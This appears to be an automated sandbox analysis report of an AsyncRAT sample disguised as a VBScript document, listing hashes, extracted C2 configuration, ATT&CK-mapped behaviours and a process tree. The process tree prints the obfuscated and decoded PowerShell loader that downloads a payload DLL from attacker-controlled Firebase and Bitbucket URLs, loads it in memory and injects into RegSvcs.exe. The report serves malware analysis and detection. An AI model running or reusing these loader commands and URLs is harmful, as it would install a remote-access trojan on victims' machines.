asyncrat | 7b6d6d51a0032be0ac9c3b857065a2ba87caa96dac3d0023d8819eb3baa6dd8c

General

Target

Leer Documento.vbs
Size

23.1MB
MD5

c7b73269543ae666701b2d97172b93fb
SHA1

e6d9435df4b136ceac144b84ec9b8fa7cfead13a
SHA256

7b6d6d51a0032be0ac9c3b857065a2ba87caa96dac3d0023d8819eb3baa6dd8c
SHA512

3cbd06d2e480e3b62f0881a51f7f94f797201de3b6053f1f6b7728c9e3467c24c5f58d5a2304d75487703ce496de9a5d4ee795cab6a08eefa45dc68324590287
SSDEEP

1536:VPadPlP4PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPm:8v

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

zorra123.duckdns.org:2020

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	3260	powershell.exe
18	3260	powershell.exe
21	3260	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3260	powershell.exe
1624	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	bitbucket.org
17	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3260 set thread context of 5072	3260	powershell.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1624	powershell.exe
1624	powershell.exe
3260	powershell.exe
3260	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	3260	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 1624	3928	WScript.exe	84
PID 3928 wrote to memory of 1624	3928	WScript.exe	84
PID 1624 wrote to memory of 3260	1624	powershell.exe	88
PID 1624 wrote to memory of 3260	1624	powershell.exe	88
PID 3260 wrote to memory of 5072	3260	powershell.exe	89
PID 3260 wrote to memory of 5072	3260	powershell.exe	89
PID 3260 wrote to memory of 5072	3260	powershell.exe	89
PID 3260 wrote to memory of 5072	3260	powershell.exe	89
PID 3260 wrote to memory of 5072	3260	powershell.exe	89
PID 3260 wrote to memory of 5072	3260	powershell.exe	89
PID 3260 wrote to memory of 5072	3260	powershell.exe	89
PID 3260 wrote to memory of 5072	3260	powershell.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Leer Documento.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bq▒HI▒Z▒B1▒HI▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒G8▒dQBl▒Ho▒cw▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒HU▒ZQBm▒H▒▒ag▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwBm▒Gk▒cgBl▒GI▒YQBz▒GU▒cwB0▒G8▒cgBh▒Gc▒ZQ▒u▒Gc▒bwBv▒Gc▒b▒Bl▒GE▒c▒Bp▒HM▒LgBj▒G8▒bQ▒v▒HY▒M▒▒v▒GI▒LwBy▒G8▒Z▒By▒Gk▒YQBr▒GQ▒LQ▒4▒DQ▒MQ▒z▒GQ▒LgBh▒H▒▒c▒Bz▒H▒▒bwB0▒C4▒YwBv▒G0▒LwBv▒C8▒Z▒Bs▒Gw▒JQ▒y▒EY▒Z▒Bs▒Gw▒JQ▒y▒D▒▒S▒Bv▒H▒▒ZQ▒u▒HQ▒e▒B0▒D8▒YQBs▒HQ▒PQBt▒GU▒Z▒Bp▒GE▒JgB0▒G8▒awBl▒G4▒PQ▒2▒DE▒Yw▒4▒DI▒OQBm▒DY▒LQBl▒DE▒OQ▒2▒C0▒N▒▒5▒GU▒O▒▒t▒GI▒N▒Bm▒GY▒LQ▒w▒DQ▒MQ▒x▒DM▒N▒▒1▒Dc▒NwBm▒GY▒ZQ▒n▒Ck▒KQ▒7▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBB▒H▒▒c▒BE▒G8▒bQBh▒Gk▒bgBd▒Do▒OgBD▒HU▒cgBy▒GU▒bgB0▒EQ▒bwBt▒GE▒aQBu▒C4▒T▒Bv▒GE▒Z▒▒o▒CQ▒dQBl▒GY▒c▒Bq▒Ck▒LgBH▒GU▒d▒BU▒Hk▒c▒Bl▒Cg▒JwBD▒Gw▒YQBz▒HM▒T▒Bp▒GI▒cgBh▒HI▒eQ▒z▒C4▒QwBs▒GE▒cwBz▒DE▒Jw▒p▒C4▒RwBl▒HQ▒TQBl▒HQ▒a▒Bv▒GQ▒K▒▒n▒Fo▒e▒BL▒Eg▒Rw▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒JwB0▒Hg▒d▒▒u▒G8▒dgBl▒HU▒bgBv▒Gk▒dgBu▒GU▒LwBz▒GQ▒YQBv▒Gw▒bgB3▒G8▒Z▒▒v▒HM▒YQBn▒HI▒YQBj▒HM▒ZQBk▒C8▒YwBk▒HM▒YQBj▒GQ▒LwBn▒HI▒bw▒u▒HQ▒ZQBr▒GM▒dQBi▒HQ▒aQBi▒C8▒Lw▒6▒HM▒c▒B0▒HQ▒a▒▒n▒C▒▒L▒▒g▒CQ▒bwB1▒GU▒egBz▒C▒▒L▒▒g▒Cc▒XwBf▒F8▒XwBf▒GU▒cgB0▒Gc▒cQBl▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒Jw▒s▒C▒▒J▒Bq▒HI▒Z▒B1▒HI▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Leer Documento.vbs');powershell -command $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$jrdur = '0';$ouezs = 'C:\Users\Admin\AppData\Local\Temp\Leer Documento.vbs';[Byte[]] $uefpj = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe'));[system.AppDomain]::CurrentDomain.Load($uefpj).GetType('ClassLibrary3.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.oveunoivne/sdaolnwod/sagracsed/cdsacd/gro.tekcubtib//:sptth' , $ouezs , '_____ertgqe__________________-------------', $jrdur, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
367b1c81198bfdcdba813c2c336627a3

SHA1
37fe6414eafaaed4abb91c1aafde62c5b688b711

SHA256
1141e163d84d5ef0038593c866647f27c55510de2147dc1578130e518a22cced

SHA512
e0493957e6602efb156d372e5e66147056f6e3c2e01996ba9b4e04f82b2b1e4c7236d0e3681dce9ab4911a62546b6a141f1ae731de6e8184e758caf120cf594b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_px3l1ugi.kun.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1624-0-0x00007FFAF3243000-0x00007FFAF3245000-memory.dmp

Filesize
8KB

Download
memory/1624-1-0x000001F5C1580000-0x000001F5C15A2000-memory.dmp

Filesize
136KB

Download
memory/1624-11-0x00007FFAF3240000-0x00007FFAF3D01000-memory.dmp

Filesize
10.8MB

Download
memory/1624-12-0x00007FFAF3240000-0x00007FFAF3D01000-memory.dmp

Filesize
10.8MB

Download
memory/1624-30-0x00007FFAF3240000-0x00007FFAF3D01000-memory.dmp

Filesize
10.8MB

Download
memory/3260-22-0x000001F8E2830000-0x000001F8E2838000-memory.dmp

Filesize
32KB

Download
memory/3260-23-0x000001F8E2840000-0x000001F8E284A000-memory.dmp

Filesize
40KB

Download
memory/5072-24-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads